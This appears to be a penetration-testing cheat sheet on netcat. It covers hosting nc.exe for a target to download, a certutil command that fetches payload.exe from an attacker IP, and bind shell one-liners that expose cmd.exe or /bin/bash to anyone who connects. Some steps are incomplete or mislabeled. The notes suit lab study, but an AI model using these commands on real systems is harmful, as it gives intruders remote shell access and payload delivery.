Netcat

Intro:

Netcat is a networking utility used to read and write data to network connections using TCP or UDP.

Netcat utilizes a client-server communication architecture with 2 modes:

Netcat most used for:

  1. Banner Grabbing.
  2. Port Scanning.
  3. Transferring Files.
  4. Bind/Reverse Shells.

How to send nc.exe to our target:

There's a EB for windows on Kali:

/usr/share/windows-binaries/nc.exe

we can host this file and download it to our target but you need to be in that folder:

python -m SimpleHTTPServer 80

Setup a listener:

-n No dns reselution
-v Verbose
-l Listen
-p specify a port to listen
-e Specify a program to be executed (E.g. in windows we want 'cmd.exe' or 'powershell.exe' to get a shell)

nc -nvlp <port_to_listen_on>

Send and receive files with nc:

Setup a listener at the receiving system (windows)

Now connect to that port on the windows IP and specify the file you want to send when connecting:

OR with Python:

certutil -urlcache -f http://10.10.45.3/payload.exe payload.exe


Setup a Bind Shell:

On a windows system:

-e used to specify a program to be executed when anyone connect to this listener...

nc.exe -nvlp 7777 -e cmd.exe

On a Linux system:

-s Used to specify a shell to be executed when anyone connect to this Listener...

nc -nvlp 1234 -c /bin/bash